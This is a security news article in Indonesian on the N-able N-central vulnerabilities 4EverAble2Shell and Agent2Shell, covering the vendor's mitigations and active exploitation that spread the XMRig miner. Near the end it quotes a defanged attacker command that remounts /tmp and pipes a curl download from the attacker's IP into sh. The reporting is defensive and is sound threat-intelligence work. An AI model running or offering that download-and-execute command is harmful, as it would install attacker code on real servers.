N-able pada hari Kamis mengumumkan bahwa pihaknya menerapkan serangkaian langkah pencegahan tambahan menyusul terungkapnya temuan celah keamanan baru yang dilacak dengan nama 4EverAble2Shell serta Agent2Shell ke ruang publik.
"Kami membatasi fitur-fitur tertentu dan integrasi pada N-central," ungkap pihak perusahaan dalam laporan pembaruan hari Kamis. "Tindakan ini mungkin memengaruhi beberapa fungsionalitas, namun kami yakin bahwa mengambil langkah pencegahan ekstra selama proses remediasi diselesaikan merupakan tindakan yang tepat demi melindungi para mitra kami beserta pelanggan mereka."
Tindakan-tindakan berikut ini telah diterapkan secara langsung pada lingkungan Hosted –
Para pelanggan Hosted juga sangat disarankan untuk mengikuti arahan yang diberikan N-able sebelumnya guna memutakhirkan Agent dan Probe pada N-central versi 2026.4 HF1 ke atas, mengingat pembaruan ini membawa perubahan penting pada cara Probe dan Agent saling berkomunikasi.
"N-able N-central 2026.4 HF1 memperbarui komponen lawas dari Agent dan Probe, yang mengubah cara keduanya berkomunikasi," jelasnya. "Oleh karena itu, memperbarui Agent maupun Probe di server N-central Anda adalah sebuah KEHARUSAN guna memastikan semua perangkat yang dikelola dapat berkomunikasi dan tertambal."
Sementara itu, pelanggan lokal atau on-premises sangat didesak untuk segera memperbarui Agent dan Probe mereka serta memastikan akses Legacy API benar-benar dinonaktifkan di dalam lingkungan sistem, seandainya fitur tersebut pernah diaktifkan sebelumnya.
"Tim kami sedang secara aktif menilai pengungkapan baru ini, mengembangkan perbaikan tambahan, dan bekerja keras untuk memulihkan fungsi yang terdampak secara aman," sebut N-able. "Melindungi mitra kami dan para pelanggan mereka tetap menjadi prioritas tertinggi kami, dan kami akan terus mengambil langkah antisipasi jika memang diperlukan."
Perkembangan genting ini berlangsung saat peneliti keamanan independen Sean Bales membeberkan dua rangkaian kerentanan baru bernama 4EverAble2Shell dan Agent2Shell yang mampu bekerja membobol versi terbaru N-central, serta memungkinkan penyerang menjalankan kode arbitrer sebagai root dan memperoleh hak akses tingkat SYSTEM pada sistem Windows di bawah kondisi tertentu.
Berbagai laporan intelijen ancaman mengindikasikan bahwa 4EverAble2Shell telah bergeser dari pemindaian awal menuju upaya eksploitasi aktif di dunia nyata, di mana para pelaku ancaman siber memanfaatkannya untuk menyebarkan program penambang mata uang kripto ke server-server yang rentan.
Serangan-serangan siber tersebut diketahui menggabungkan kerentanan kritis Apache Axis, yang dilacak sebagai CVE-2026-90436 (dengan skor CVSS: 9.8), bersama celah eskalasi hak istimewa terpisah pada N-central guna mengamankan hak akses level root.
"Rantai eksploitasi tanpa autentikasi pada N-able N-central, yang diungkap sebagai 4EverAble2Shell, dilaporkan memungkinkan penyerang jarak jauh mengeksekusi perintah sistem operasi arbitrer dengan hak istimewa root," papar Previdian, yang memantau celah keamanan ini di bawah kode VULN-2026-0009.
"Rantai tersebut mengeksploitasi instansiasi kelas yang tidak aman saat pemrosesan SOAP fault dalam komponen bawaan Apache Axis. Permintaan yang dirancang khusus membuat kelas JLine pilihan peretas memproses masukan berbahaya, menghasilkan eksekusi perintah sebagai akun layanan nable."
Dalam rantai serangan yang diuraikan oleh perusahaan intelijen ancaman tersebut, para peretas terpantau mencoba mengunduh sekaligus menjalankan skrip shell ("jup.sh") dari server kendali milik penyerang di alamat "157.20.241[.]16," sembari mengirimkan kembali informasi diagnostik beserta keluaran perintah ke server.
Perusahaan keamanan siber Huntback juga membongkar bahwa alamat IP yang persis sama telah mempersenjatai kerentanan 4EverAble2Shell tersebut untuk menyebarkan penambang kripto XMRig Monero ke 21 server N-central melalui skrip shell yang disebutkan sebelumnya –
mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_[target-IP-redacted]
Perangkat penambang ini sengaja dirancang hanya mengonsumsi separuh dari total inti CPU yang tersedia, kemungkinan besar bertujuan untuk menghindari deteksi pemantauan sistem. Server-server N-central yang disusupi ini terpusat di wilayah Amerika Serikat, Afrika Selatan, Kanada, Inggris, Jerman, Prancis, dan Swedia.
"Penambang ini adalah satu-satunya payload yang kami pantau, tetapi eskalasi tersebut memberi operator hak root pada host yang mengelola endpoint para pelanggan Anda," tegas Huntback. "Perlakukan insiden ini sebagai kompromi menyeluruh, bukan sekadar tugas pembersihan biasa. Menginstal Hotfix 2 saja tidak cukup: 19 dari korban di sini sudah menggunakannya."